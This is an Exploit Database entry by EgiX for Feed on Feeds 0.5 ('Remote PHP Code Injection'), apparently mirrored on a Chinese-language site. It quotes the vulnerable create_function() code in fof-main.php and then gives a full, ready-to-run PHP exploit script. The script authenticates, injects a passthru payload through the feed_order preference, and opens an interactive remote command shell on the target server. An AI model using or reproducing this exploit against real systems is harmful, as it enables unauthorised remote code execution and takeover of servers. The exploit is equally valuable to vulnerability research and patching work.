Feed on Feeds 0.5 – Remote PHP Code Injection

Exploit Database
110 阅读

作者： EgiX

日期： 2011-09-30
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/17911/

100

<?php

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Feed on Feeds <= 0.5 Remote PHP Code Injection Exploit

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author..........: EgiX

mail............: n0b0d13s[at]gmail[dot]com

software link...: http://feedonfeeds.com/ or http://code.google.com/p/feed-on-feeds/

This PoC was written for educational purpose. Use it at your own risk.

Author will be not responsible for any damage.

[-] vulnerable code in /fof-main.php

1091.function fof_multi_sort($tab,$key,$rev)

1092.{

1093.if($rev)

1094.{

1095.$compare = create_function('$a,$b','if (strtolower($a["'.$key.'"]) == strtolower($b["'.$key.'"])) {return 0;}else {return (strtolower($a["'.$key.'"]) > strtolower($b["'.$key.'"])) ? -1 : 1;}');

1096.}

1097.else

1098.{

1099.$compare = create_function('$a,$b','if (strtolower($a["'.$key.'"]) == strtolower($b["'.$key.'"])) {return 0;}else {return (strtolower($a["'.$key.'"]) < strtolower($b["'.$key.'"])) ? -1 : 1;}');

1100.}

1101.

1102.usort($tab,$compare) ;

1103.return $tab ;

1104.}

The $key parameter passed to fof_multi_sort() function isn't properly sanitized before being used in a call

to "create_function()" at line 1095 or 1099. This can be exploited to inject and execute arbitrary PHP code.

Successful exploitation of this vulnerability requires authentication.

error_reporting(0);

set_time_limit(0);

ini_set("default_socket_timeout", 5);

function http_send($host, $packet)

{

if (!($sock = fsockopen($host, 80)))

die( "\n[-] No response from {$host}:80\n");

fwrite($sock, $packet);

return stream_get_contents($sock);

}

function inject_php()

{

global $host, $path, $user, $pass;

$data= "feed_order=\"]));}print('<<');passthru(base64_decode(\$_SERVER[HTTP_CMD]));print('>>');%23";

$packet= "POST {$path}set-prefs.php HTTP/1.0\r\n";

$packet .= "Host: {$host}\r\n";

$packet .= "Cookie: user_name={$user}; user_password_hash={$pass}\r\n";

$packet .= "Content-Length: ".strlen($data)."\r\n";

$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";

$packet .= "Connection: close\r\n\r\n";

$packet .= $data;

if (preg_match("/login.php/", http_send($host, $packet))) die("\n[-] Incorrect username or password!\n");

}

print "\n+----------------------------------------------------------------+";

print "\n| Feed on Feeds <= 0.5 Remote PHP Code Injection Exploit by EgiX |";

print "\n+----------------------------------------------------------------+\n";

if ($argc < 5)

{

print "\nUsage......: php $argv[0] <host> <path> <username> <password>\n";

print "\nExample....: php $argv[0] localhost / user pass";

print "\nExample....: php $argv[0] localhost /fof/ user pass\n";

die();

}

$host = $argv[1];

$path = $argv[2];

$user = $argv[3];

$pass = md5($argv[4].$user);

inject_php();

$packet= "GET {$path}sidebar.php HTTP/1.0\r\n";

$packet .= "Host: {$host}\r\n";

$packet .= "Cookie: user_name={$user}; user_password_hash={$pass}\r\n";

$packet .= "Cmd: %s\r\n";

$packet .= "Connection: close\r\n\r\n";

while(1)

{

print "\nfof-shell# ";

if (($cmd = trim(fgets(STDIN))) == "exit") break;

preg_match("/<<(.*)>>/s", http_send($host, sprintf($packet, base64_encode($cmd))), $m) ? print $m[1] : die("\n[-] Exploit failed!\n");

}